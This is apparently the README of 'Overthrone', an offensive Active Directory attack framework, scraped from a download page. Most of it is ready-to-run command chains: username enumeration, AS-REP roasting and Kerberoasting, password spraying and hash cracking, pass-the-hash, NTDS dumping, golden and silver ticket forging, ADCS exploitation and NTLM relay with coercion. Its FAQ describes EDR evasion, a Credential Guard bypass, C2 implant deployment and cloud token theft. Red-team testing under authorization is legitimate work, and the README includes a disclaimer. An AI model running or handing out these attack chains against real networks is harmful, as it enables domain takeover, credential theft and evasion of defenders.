```

### Post-install: smbclient

Overthrone is pure Rust with one external dependency. One. We tried to make it zero but `smb-rs` v0.11 doesn't expose directory listing yet. We're not bitter about it. (We're a little bitter about it.)

```bash
# Debian/Ubuntu/Kali
sudo apt install smbclient

# Arch (btw)
sudo pacman -S samba

# Fedora/RHEL
sudo dnf install samba-client

# macOS
brew install samba

# Windows
# Already there. Windows ships with SMB. It's the one time Windows having
# everything pre-installed actually works in your favor.
```

### Platform Support

| Platform | Status | Notes |
|---|---|---|
| **Kali Linux** | Recommended | Everything pre-installed. `smbclient` already there. This is the way. |
| **Linux** | Full support | Primary dev platform. All features. `apt install smbclient` and go. |
| **Windows** | Full support | Yes, you can attack AD from a Windows box. The irony writes itself. |
| **macOS** | Full support | Kerberos and LDAP work natively. `brew install samba` for SMB. Tim Cook would not approve. |
| **WSL** | Full support | Best of both worlds - Windows target, Linux attacker, one machine. |

---

## Wordlists

Overthrone does **not** bundle large wordlists - bring your own. A small embedded fallback username list is included for Kerberos user-enum/AS-REP roasting when no list is supplied or the default list is missing. `--userlist` inputs and cracking `--wordlist` inputs accept any path on your system, and `--use-ldap` can pull candidate usernames from anonymous LDAP enumeration first.

### Recommended: SecLists

```bash
# Kali (already installed)
ls /usr/share/seclists/

# Install on any Debian/Ubuntu system
sudo apt install seclists

# Or clone directly
git clone --depth=1 https://github.com/danielmiessler/SecLists.git ~/seclists
```

### Username Lists

```bash
# Zero-knowledge user enumeration - massive list, slow but thorough
/usr/share/seclists/Usernames/xato-net-10-million-usernames.txt

# Faster: statistically likely first.last / f.last / flast formats
/usr/share/seclists/Usernames/Names/names.txt
/usr/share/seclists/Usernames/statistically-likely-usernames/john.smith.txt
/usr/share/seclists/Usernames/statistically-likely-usernames/jsmith.txt

# AD service account patterns
/usr/share/seclists/Usernames/Names/names.txt

# No list? Kerberos user-enum can fall back to a small embedded candidate set.
```

### Password Lists

```bash
# Top 1000 - use for spraying (fast, stays under lockout threshold)
/usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000.txt

# Seasonal passwords - highest hit rate in enterprise AD
/usr/share/seclists/Passwords/Seasonal/

# RockYou - offline cracking of captured hashes
/usr/share/wordlists/rockyou.txt

# Leaked AD passwords (actual corporate breach data)
/usr/share/seclists/Passwords/Leaked-Databases/
```

### Zero-Knowledge Kill Chain Example

```bash
# 1. Enumerate valid usernames - no credentials needed
ovt kerberos user-enum -H 192.168.57.11 -d north.sevenkingdoms.local \
  --userlist /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt \
  --output ./loot/valid_users.txt \
  --delay 100 --concurrency 20

# LDAP-backed discovery when you do not want to ship a list
ovt kerberos user-enum -H 192.168.57.11 -d north.sevenkingdoms.local \
  --use-ldap --concurrency 20

# 2. AS-REP roast the valid list (any no-preauth accounts get auto-captured during step 1)
ovt kerberos asrep-roast -H 192.168.57.11 -d north.sevenkingdoms.local \
  -U ./loot/valid_users.txt

# 3. Crack captured hashes
ovt crack --file ./loot/asrep_hashes.txt --wordlist /usr/share/wordlists/rockyou.txt

# 4. Spray valid users with most likely AD passwords
while IFS= read -r pw; do
 ovt spray -H 192.168.57.11 -d north.sevenkingdoms.local \
 --userlist ./loot/valid_users.txt \
 --password "$pw" \
 --delay 1000 --jitter 500 --concurrency 10
done < /usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000.txt
```

---

## Usage

### Quick Start - Wizard (formerly auto-pwn)

The `ovt auto-pwn` command was in the beta. It served us well. It's been promoted. Meet `ovt wizard` - the same kill chain, but with guardrails, pause/approve, session resume, and Q-learning that remembers your engagements across VPN drops, coffee breaks, and existential crises.

```bash
# Interactive - pauses after each stage for operator review
ovt wizard --target "Domain Admins" -H 10.10.10.1 -d corp.local -u jsmith -p 'Summer2026!'

# Shorthand target
ovt wizard --target DA -H 10.10.10.1 -d corp.local -u jsmith -p 'Summer2026!'

# Headless mode - full auto, no pauses
ovt wizard --target DA -H 10.10.10.1 -d corp.local -u jsmith -p 'Summer2026!' --no-pause

# Load engagement params from config
ovt wizard --target DA --config ./corp-local.toml

# Resume a previous session (VPN dropped? no problem)
ovt wizard --target DA -H 10.10.10.1 -d corp.local -u jsmith -p 'Summer2026!' \
  --resume ~/.overthrone/sessions/corp.local-10.10.10.1.json

# Or resume from a named session (skips enum if state has data)
ovt wizard --from-session corp.local-10.10.10.1

# Stealth mode - when the SOC is awake
ovt wizard --target DA -H 10.10.10.1 -d corp.local -u jsmith -p 'Summer2026!' --stealth --jitter-ms 3000

# Skip enumeration, load from previous state file
ovt wizard --target DA -H 10.10.10.1 -d corp.local -u jsmith -p 'Summer2026!' \
  --skip-enum --from-file ./previous_enum.json

# Q-Learning AI with persistent brain (gets smarter every run)
ovt wizard --target DA -H 10.10.10.1 -d corp.local -u jsmith -p 'Summer2026!' \
  --adaptive hybrid --q-table ./engagement_brain.json

# Dry run - plan the attack without pulling the trigger
ovt wizard --target DA -H 10.10.10.1 -d corp.local -u jsmith -p 'Summer2026!' --dry-run
```

That's it. Overthrone enumerates users, computers, groups, trusts, GPOs, password policy, badPwdCount/badPwdTime/lockoutTime telemetry, delegation/RBCD, readable LAPS, and shares - builds the attack graph - finds the shortest path to DA - Kerberoasts, sprays, cracks hashes - escalates, moves laterally, DCSyncs, and generates a report. Kerberos user-enum supports file-backed, LDAP-backed, and embedded-fallback source selection, and spray runs with bounded concurrency while still honoring lockout policy. The Q-Learning engine (compiled by default in hybrid mode) remembers what worked and optimizes future runs. In stealth mode it starts with low-volume LDAP baseline and delegation probes before heavier enumeration. Every step announces itself with stage, noise level, and priority, then shows the result with credential/host gains. The Q-learner prints its state encoding, action decision, and reward after each step. The wizard writes a phase-wise Markdown trail under `loot/trails/overthrone_<domain>_<dc>_runNNN.md`; repeated runs detect prior trails and never overwrite. The final report is a full breakdown - kill-chain completion visual, per-stage success/fail stats, credential table, admin host list, loot summary, Q-learner session stats, and audit trail. Go get coffee if you want, but you might actually enjoy watching this one.

### Manual Mode

```bash
# Step 1: Enumerate everything
ovt enum pre -H 10.10.10.1
ovt enum anonymous -H 10.10.10.1
ovt enum null-session -H 10.10.10.1
ovt enum all -H 10.10.10.1 -d corp.local -u jsmith -p 'Summer2026!'

# Step 2: Build and query the attack graph
ovt graph build -H 10.10.10.1 -d corp.local -u jsmith -p 'Summer2026!'
ovt graph path-to-da --from jsmith                      # all paths to DA
ovt graph path --from jsmith --to "Domain Admins"         # shortest path
ovt graph stats                                           # node/edge counts
ovt graph export --output graph.json                     # save it
ovt graph export --output bloodhound.json --bloodhound   # BloodHound format
ovt graph view --file graph.json                         # local Rust visualizer
ovt graph tree --file graph.json                         # local Rust tree explorer
ovt graph view -i ./bloodhound-json/                     # import BloodHound JSON directory
ovt graph tree -i ./bloodhound-json/                     # GUI-style hierarchy
ovt graph view -i users.json -i groups.json -i computers.json
ovt graph gui -i ./bloodhound-json/                      # browser GUI; blank-first search/chunk render

# Graph GUI indexes directories without rendering every JSON at once.
# It renders only searched nodes, paths, or explicit chunks.
# Graph view keeps full names readable in panels while controlling canvas density.
# Tree view expands domain -> type -> object -> relationships.
# Both are local Rust TUIs with search, filters, details, path hints, mouse support,
# ? help, and q quit. No Neo4j, no browser, no JVM.

# Step 3 (zero-knowledge): Enumerate valid usernames - no creds needed
# Uses Kerberos error codes to determine if each username exists.
# Omit --userlist to use the embedded candidate set.
ovt kerberos user-enum -H 10.10.10.1 -d corp.local \
  --output ./loot/valid_users.txt --concurrency 20

# Also works with any other list and optional delay/jitter
ovt kerberos user-enum -H 10.10.10.1 -d corp.local \
  --userlist /usr/share/seclists/Usernames/Names/names.txt \
  --delay 100 --concurrency 10

# Step 4: Kerberoast + AS-REP against discovered users
ovt kerberos roast -H 10.10.10.1 -d corp.local -u jsmith -p 'Summer2026!'
ovt kerberos asrep-roast -H 10.10.10.1 -d corp.local -U ./loot/valid_users.txt -p 'Summer2026!'
ovt crack --file ./loot/kerberoast_hashes.txt --mode thorough

# Note: any no-preauth accounts found during user-enum automatically save
# their AS-REP hashes to ./loot/userenum_asrep_hashes.txt - free hashes.

# Step 5: Spray (respect the lockout policy)
ovt spray -H 10.10.10.1 -d corp.local --password 'Winter2026!' --userlist ./loot/valid_users.txt

# Step 5: Lateral movement
ovt exec --target 10.10.10.50 --command "whoami /all" -d corp.local -u admin -p 'Pass!'
ovt exec --target 10.10.10.50 --command "whoami /all" -d corp.local -u admin --nt-hash aad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c
ovt exec --target 10.10.10.50 --command "whoami /all" --method smbexec

# Step 6: Built-in modules (CME/netexec-style)
ovt module list                                           # list all available modules
ovt module list --category dump                           # filter by category
ovt module info sam-dump                                  # show module details + params
ovt module run procdump -t 10.10.10.50                    # run against a target
ovt module run-parallel sam-dump -t 10.10.10.50,10.10.10.51 --concurrency 5  # parallel

# Step 7: Persist
ovt dump --target 10.10.10.1 ntds -d corp.local -u dadmin -p 'G0tcha!'
ovt forge golden --domain-sid S-1-5-21-... --krbtgt-hash <32hex> --output golden.kirbi
ovt forge silver --domain-sid S-1-5-21-... --service-hash <32hex> --spn cifs/dc01.corp.local --output silver.kirbi

# Step 7: Report
ovt report --format markdown --output engagement-report.md
ovt report --format json --output findings.json
ovt report --format pdf --output executive-summary.pdf
```

### Command Reference

See **[COMMAND_LIST.md](COMMAND_LIST.md)** for the complete reference with flags, examples, and cheat sheets.

## Examples

### Scenario 1: "I just got a foothold"

```bash
# 1. Enumerate
ovt enum all -H 10.10.10.1 -d corp.local -u jsmith -p 'Phished123!'

# 2. Build graph + find paths
ovt graph build -H 10.10.10.1 -d corp.local -u jsmith -p 'Phished123!'
ovt graph path-to-da --from jsmith
# 3 hops. The CISO will need to sit down.

# 3. Kerberoast the SPN account in the path
ovt kerberos roast -H 10.10.10.1 -d corp.local -u jsmith -p 'Phished123!'
# Hashes saved to ./loot/kerberoast_hashes.txt
ovt crack --file ./loot/kerberoast_hashes.txt --mode thorough
# Got: SVC-BACKUP:Backup2019!

# 4. Pass-the-Hash to DC (or use the password if you cracked it)
ovt exec --target dc01.corp.local --command "whoami /all" -d corp.local -u SVC-BACKUP -p 'Backup2019!'
ovt exec --target dc01.corp.local --command "whoami /all" -d corp.local -u SVC-BACKUP --nt-hash <nthash>

# 5. DCSync - get all the hashes
ovt dump --target 10.10.10.1 ntds -d corp.local -u SVC-BACKUP -p 'Backup2019!'

# 6. Report
ovt report --format markdown --output corp-local-report.md
```

### Scenario 2: "Full wizard, I have a meeting in an hour"

```bash
ovt wizard --target "Domain Admins" -H 10.10.10.1 --domain corp.local -u jsmith -p 'Summer2026!' --no-pause
# Go get coffee. Come back to: engagement-report.md
```

### Scenario 3: "ADCS is everywhere and I have a config file"

```bash
# Save your engagement config once
ovt config set dc-host dc01.corp.local
ovt config set domain corp.local
ovt config set username jsmith
ovt config set password 'Summer2026!'

# Or create a named profile for this client
ovt config profile create mega-corp
ovt config profile set mega-corp dc-host dc01.corp.local
ovt config profile set mega-corp domain corp.local
ovt config profile use mega-corp

# Now every command picks up the settings automatically
ovt wizard --target "Domain Admins"           # Uses saved config
ovt adcs enum                                 # Use saved config
ovt forge adcs --ca-server CA01.corp.local    # Auto-exploit ESC1-9
ovt shell                                     # Interactive REPL with creds pre-loaded
```

### Scenario 4: "Crawl with caution and capture creds"

```bash
# Crawl with source-port rotation + JA3 fingerprint randomization + OPLOCK
ovt move -H dc01.corp.local -d corp.local -u jsmith -p 'Summer2026!' \
  --port-rotate --tls-fingerprint --oplock

# Crawl AND respond/poison at the same time
ovt move -H dc01.corp.local -d corp.local -u jsmith -p 'Summer2026!' \
  --respond --poison-ip 10.0.0.50

# Session management - list, inspect, clean
ovt session list
ovt session show corp.local-10.0.0.1
ovt session clean --older-than 30d
```

### Scenario 5: "NTLM relay with all the bells and whistles"

```bash
# HTTP target captured replayed to SMB with TLS verification
ovt ntlm http-asymmetric -t http://exchange01.corp.local:80 -p 8080

# Classic SMB->LDAP relay with auto-trigger coercion
ovt ntlm smb-relay -l 0.0.0.0:445 -t ldap://dc01.corp.local \
  --auto-coerce-domain corp.local --auto-coerce-user jsmith \
  --auto-coerce-password 'Summer2026!'

# Relay with TLS verification (legitimate audit mode)
ovt ntlm relay -l 0.0.0.0:8080 -t smb://dc01.corp.local --tls-verify

# Relay through SOCKS5 proxy
ovt ntlm relay -l 0.0.0.0:8080 -t smb://dc01.corp.local --socks5-proxy 127.0.0.1:9050
```

## FAQ

**Q: What's this VSS+SMB @GMT shadow copy thing? Sounds like a time-traveling file system.**
A: It is exactly that, minus the DeLorean. When Windows creates a Volume Shadow Copy, it exposes the snapshot via the `@GMT-YYYY_MM_DD_HHMMSS.SSS` path prefix over SMB. Normally NTDS.dit is locked tighter than a CISO's budget for security tools. But the shadow copy? It's a read-only frozen version that our SMB client can open like any other file. WS2025 introduced a service sandbox that blocks ALL file writes from SMBExec-created services (making the traditional "copy from VSS to temp file" approach fail). The @GMT approach sidesteps that entirely: we create the shadow copy (no file writes), read directly from the `@GMT-` SMB path (also no file writes), then delete the shadow. It's like reading someone's diary through a window instead of picking the lock on their desk drawer.

**Q: What's with the EPM pipe resolution? Wasn't port 135 working?**
A: Port 135 on WS2025 GOAD-Light is the networking equivalent of a teenager ignoring their parents: it receives the packets but refuses to respond. Our authenticated RPC binds? Ignored. Our NTLMSSP auth verifiers? Ghosted. So we went through the back door: the `\PIPE\epmapper` named pipe (SMB IOCTL over port 445). It opens, accepts binds, resolves interface UUIDs, and then tells us whether the service we're looking for has a TCP endpoint registered. DRSUAPI on this particular DC had NO TCP endpoint — meaning DCSync is straight-up unavailable. The `epmapper` pipe is like a concierge who knows everyone's room number but can't tell you if they're actually home.

**Q: The interactive shell is 3,263 lines? That seems excessive.**
A: It's a REPL with tab completion, command history, syntax highlighting, context-aware prompts, forge modules (golden/silver/diamond/skeleton), WinRM/SMB/WMI shell types, remote file upload/download, session management, and a module system. It's the Swiss Army knife of AD exploitation, except the Swiss Army knife also makes coffee and files your taxes. Also, we had a bet with the borrow checker. We lost the bet. The borrow checker always wins.

**Q: Config files? Profiles? I just wanted to run one command.**
A: And you can! `ovt wizard -H dc -d domain -u user -p pass` still works. But if you're in an engagement longer than 15 minutes, you will appreciate not typing `-d sevenkingdoms.local -H 192.168.57.10 -u vagrant -p vagrant` six hundred times. `ovt config profile create goad-light` once, `ovt config profile use goad-light` once, and every subsequent command just picks the settings up. Also supports `OT_CONFIG` and `OT_PROFILE` environment variables. It's called "working smarter, not harder." Your fingers have a union now.

**Q: Session management? You mean I can resume a half-finished engagement?**
A: Yes. `ovt session list` shows every saved engagement. `ovt wizard --from-session sevenkingdoms.local-192.168.57.10` picks up right where you left off — it skips enumeration if the state already has users/computers/groups, and goes straight to attacking. VPN dropped at 3 AM? Coffee break lasted 4 hours? Your boss walked in unexpectedly and you closed the terminal? No problem. `ovt session clean --older-than 30d` keeps your session directory tidy. Overthrone remembers. Overthrone forgives. Overthrone does not forget your krbtgt hash.

**Q: The C2 integrations — Sliver, Havoc, Cobalt Strike — do they actually work or are they stubs?**
A: They actually work. Real HTTP clients. Real auth flows. Real session management. Sliver talks mTLS to the operator config. Havoc logs in via REST and manages Demon agents. Cobalt Strike uses the Aggressor-style REST API. All three implement the complete `C2Channel` async trait: connect, disconnect, list sessions, exec command, upload, download, assembly exec, BOF exec, shellcode inject, deploy implant, list listeners. The stubs era is over. The "todo!" tombs have been sealed. If you find a stub in the C2 code, you get to report it as a bug and we'll send you a sticker.

**Q: Azure AD / Entra ID operations? In an on-prem AD tool?**
A: 2026 called, and the network is hybrid. Overthrone has 8 Azure AD attack operations: Managed Identity Token theft, Entra Connect credential extraction, App Registration abuse, Device Code phishing, Seamless SSO detection, Golden SAML forging, PRT theft, and hybrid identity enumeration. Because these days the domain controller and the cloud tenant are the same castle, just in different zip codes. Also, we couldn't stand seeing another "Azure AD not supported" message in red team tools.

**Q: SMB2 signing was broken and you fixed it? How?**
A: The root cause was preauth_hash corruption during session setup. When the server sends the session setup leg 2 response, it signs that response using a signing key derived from `SP800_108_KDF(ExportedSessionKey, "SMBSigningKey\x00", "SmbSign\x00")`. The KDF context is a `preauth_hash` covering messages 1-5 (negotiate request/response, session setup leg 1 request/response, leg 2 request). The bug: we were appending the leg 2 response to `preauth_hash BEFORE verifying the server's signature, corrupting the KDF context for ALL subsequent operations. Moving the preauth_hash update to after verification (and then removing it entirely because the leg 2 response isn't part of signing key derivation) fixed every SMB operation on WS2025 SMB 3.1.1. If that sounded like technical jargon, just know: the packets are wearing seatbelts now and won't crash into each other anymore. 1,794 tests. Zero signing issues.

**Q: ADCS dispatcher does ESC1-9 automatically? What if I only want ESC3?**
A: `ovt forge adcs --action esc3` specifies the exact technique. Or use `--action auto` and the dispatcher tries ESC1, ESC6, and ESC9 in order, returning the first success. It supports all 9 techniques directly (ESC1/2/3/6/9 are direct exploits, ESC4/5/7/8 generate commands for LDAP/registry modification, ESC11/12/13/14/15/16 are available through `ovt adcs` subcommands). The dispatcher is 1,147 lines of pure "give me a certificate or give me death." Usually both.

**Q: HTTP->SMB asymmetric relay? That sounds made up.**
A: Cross-protocol relay is real. The `http_asymmetric.rs` module (360 lines) captures the full HTTP request (method, URI, headers, body, raw bytes), extracts the NTLM token from a 401 Negotiate response, and replays the entire authenticated request to an SMB target. Connection-based state tracking keeps NATted clients straight. Post-auth modes let you replay to HTTP/HTTPS/WebDAV/Exchange targets for full request fulfillment, or return a 200 OK relay-success response for SMB/LDAP/MSSQL targets. "Asymmetric" because the victim talks HTTP and we talk SMB. Like a diplomatic translator, except both sides are trying to steal each other's passwords.

**Q: mTLS / TLS verification mode? Isn't this an attack tool?**
A: `TlsVerificationMode::AcceptAll` is the default for a reason — you don't care about the server's certificate when you're relaying NTLM auth. But `TlsVerificationMode::VerifyServerCert` exists for legitimate audit scenarios, and `--tls-verify` on any relay subcommand enables it. The `TlsConfig` struct unifies verification mode and client identity across the relay engine, exchange module, and all 15+ relay subcommands. Because sometimes you need to be a legitimate security tool before you go full adversarial. Also, channel binding validation (`CbtMode::Validate/Strip/Passthrough`) is built in for Exchange relay. Attack with precision, or at least with the option to.

**Q: What's this "WS2025 service sandbox" I keep hearing about?**
A: Windows Server 2025 (at least in GOAD-Light) introduced aggressive service sandboxing that blocks all file writes from dynamically created services. When SMBExec creates a service to run your command, the service can execute code but can't write anything to disk — not even `echo test > file.txt`. It's like being in a room where you can shout but can't leave a note. This broke the traditional VSS+copy approach (copy from shadow device to temp file), the `reg save` approach, and even the `>` redirect for output capture. We found this out the hard way after hours of debugging "why is the output file 0 bytes." The @GMT SMB shadow copy read bypasses this entirely by never writing a file on the target. The room can keep its no-notes policy. We'll read through the window.

**Q: What's the funniest bug you've fixed?**
A: The one where `open_pipe()` set `FILE_NON_DIRECTORY_FILE` (0x1) as the `CreateOptions` for named pipe opens. This flag is meant for directory handles. On WS2025 SMB 3.1.1, this caused the server to track named pipes in a special mode that rejected subsequent `FSCTL_PIPE_TRANSCEIVE` IOCTL calls with `STATUS_INVALID_PARAMETER` (0xC000000D). In other words: we were telling the SMB server "this is not a directory" when opening a named pipe, which is like walking into a bar, handing the bartender a note that says "this is not a car wash," and then being confused when they won't serve you. The fix was setting `CreateOptions` to 0. The bar serves drinks again.

**Q: Can Overthrone crack hashes in parallel?**
A: Rayon-powered parallel cracking with an embedded 10K-word zstd-compressed wordlist, mask attack engine (`?u?l?l?d?d?d?d`), hybrid mode (append digits/years), rule engine (leet speak, capitalization), and hashcat GPU subprocess fallback. `ovt crack --hash-file ./hashes.txt --wordlist rockyou.txt` cracks on all CPU cores simultaneously. `ovt crack --hash-file ./hashes.txt --hashcat --hashcat-path /usr/bin/hashcat` hands off to your GPU. The embedded wordlist covers the ~10,000 most common passwords — enough to catch "Password123!", "Winter2026!", and "I love you" in every language. The parallel cracking is fast enough that you'll spend more time reading the FAQ than waiting for results.

**Q: Does the viewer require Neo4j?**
A: No. The graph viewer (`ovt graph view`) is a native Rust TUI using ratatui. It imports Overthrone graph exports, Overthrone BloodHound exports, and BloodHound v4/CE collection JSON directly. No Neo4j. No JVM. No 4GB RAM budget for a database that shows you pictures of who can hack whom. The browser GUI (`ovt graph gui`) uses Three.js for GPU-accelerated WebGL rendering, also without Neo4j. If we ever require Neo4j, please file a bug report and we'll publicly shame ourselves.

**Q: EDR evasion and Credential Guard bypass? In a Rust binary?**
A: `edr_bypass.rs` (1,575 lines) does ntdll unhooking from a clean disk copy, ETW provider callback abolition, syscall number resolution from fresh ntdll, and sleep masking with memory obfuscation. `lsaiso.rs` (1,762 lines, 25 tests) is a 3-tier Credential Guard bypass: ALPC -> process memory via raw syscalls (`core::arch::asm!`) -> WDigest fallback. The raw syscalls use DynamicSyscallStub to resolve syscall numbers at runtime. No dependencies on external executables. No shelling out to Mimikatz. The binary is statically linked with everything it needs. It's like a Swiss Army knife that also contains a lockpick set and the blueprints to the building.

**Q: What's the deal with the name "Overthrone"?**
A: Every throne falls. Active Directory thrones have been falling since 1999. Overthrone just speeds up the process and generates a PDF about it. The name is also a convenient pun on "over the phone" for when you have to explain to a CISO that yes, their entire domain was compromised in under 4 hours because someone in accounting set a service account password to "Summer2026!" and it hadn't been rotated since the Obama administration.
A: With explicit written authorization - absolutely. Without it - absolutely not. The difference between a pentester and a criminal is a signed document and a really good PowerPoint presentation.

**Q: How is this different from BloodHound?**
A: BloodHound shows you the path. Overthrone now shows it locally too: `ovt graph view` imports BloodHound/Overthrone JSON and gives you a Rust-native interactive graph with no Neo4j. Then Overthrone can walk the path, exploit it, clean up, and generate the PDF.

**Q: How is this different from Impacket?**
A: Impacket is a legendary Python protocol library. Overthrone reimplements the same protocols in Rust with a unified framework, autonomous planning, and integrated reporting. Impacket is the toolbox. Overthrone is the factory. Also, no `pip install` failures at 2 AM.

**Q: Why Rust?**
A: Memory safety. Single static binary. Native performance. No dependency hell. No Wine. No .NET. Also, explaining Rust lifetime errors to a rubber duck at 4 AM builds character.

**Q: Will this get caught by AV/EDR?**
A: Overthrone uses native protocol implementations that look identical to legitimate Windows traffic. It doesn't inject into processes, doesn't use PowerShell, doesn't drop assemblies. The built-in EDR evasion module (`edr_bypass.rs`) adds next-gen stealth: ntdll unhooking from a clean disk copy, ETW provider callback abolition, syscall number resolution from fresh ntdll, and sleep masking with memory obfuscation. The Credential Guard bypass module (`lsaiso.rs`) uses raw syscalls (core::arch::asm!) to bypass userland hooks entirely, with a 3-tier fallback (ALPC -> process-memory -> WDigest). That said, if you DCSync from a Linux box at 3 AM, any decent SOC will notice.

**Q: Does it need Wine or Mimikatz or .NET?**
A: No. No. And no. Every protocol is native Rust. The Credential Guard bypass and EDR evasion are also native. No DLL proxying. No Python wrappers. No Wine. If you find yourself installing Wine to run Overthrone, something has gone terribly wrong.

**Q: Can I extend it with custom modules?**
A: Native DLL plugin loading works with a full Plugin trait. WASM plugins load and execute via wasmtime with state persistence, manifest parsing, and smart memory allocation. The workspace architecture makes adding new modules straightforward. PRs welcome.

**Q: What about the C2 integrations?**
A: They work now. Sliver (mTLS REST), Havoc (REST with auth), Cobalt Strike (Aggressor-style REST). Real HTTP clients, real API calls, real session management. The "aspirational code" era is over.

**Q: I have 14 flags to repeat every run. Help?**
A: Use `ovt config` for persistent settings (TOML, XDG-aware). `ovt config set dc-host 10.0.0.1` and never type it again. Or create named profiles with `ovt config profile create cobalt-op` and activate with `ovt config profile use cobalt-op`. Also supports `OT_CONFIG` and `OT_PROFILE` env vars. Your fingers will thank you.

**Q: Can I resume a crashed engagement?**
A: `ovt session list` shows all saved sessions. `ovt wizard --from-session <name>` picks up where you left off - skips enumeration if the state already has users/computers/groups, goes straight to attack. Also `--resume <file>` for the traditional approach. Overthrone saves state after every phase. VPN drops, reboots, coffee breaks - none of them stop the show.

**Q: What's the deal with the interactive shell?**
A: `ovt shell` drops you into a full REPL with rustyline - tab completion, command history, context-aware prompts, syntax highlighting. Has forge modules (golden/silver/diamond/skeleton) with `use`/`set`/`run`. Also supports WinRM, SMB, and WMI shell types for remote command execution. Think of it as a poor man's Metasploit console, but in Rust and without the warmongering aesthetic.

## Contributing

PRs welcome. Issues welcome. Memes about Active Directory misconfigurations are especially welcome. If your PR includes a pun in the commit message, it gets reviewed first.

## Star History

If you've read this far - all the way to the bottom of this README, past the crate report card, past the backlog table - you're legally obligated to star the repo. It's in the MIT license. (It's not in the MIT license. But it should be.)

**[Star this repo](https://github.com/Karmanya03/Overthrone)** - every star adds 0.001 damage to the attack graph.

## Disclaimer

This tool is for **authorized security testing only**. Using Overthrone against systems without explicit written permission is illegal, unethical, and will make your parents disappointed. The authors are not responsible for misuse.

Always:
- Get written authorization before testing
- Define scope and rules of engagement
- Don't break things you weren't asked to break
- Report everything you find, especially the embarrassing stuff
- Remember that somewhere, a sysadmin set `Password1` on a service account and hoped nobody would notice

## License

MIT - use it, modify it, learn from it, build on it. Just don't be evil with it.

***

Built with mass amounts of mass-produced instant coffee, mass amounts of Rust, and a personal grudge against misconfigured ACLs. 
 10 crates. ~210,000 lines of Rust. 2,074 tests. Zero Python. One smbclient dependency. Minimal regrets. (Some regrets.) 
 Every throne falls. The question is whether you find out from a pentester or from a ransomware note. 
 We prefer the first option. Your insurance company does too.

Overthrone

Overthrone Latest Version Download

Today's picks

Was this content helpful?

Recent Feedback

Overthrone

Overthrone Latest Version Download

Today's picks

Was this content helpful?

Recent Feedback

Download README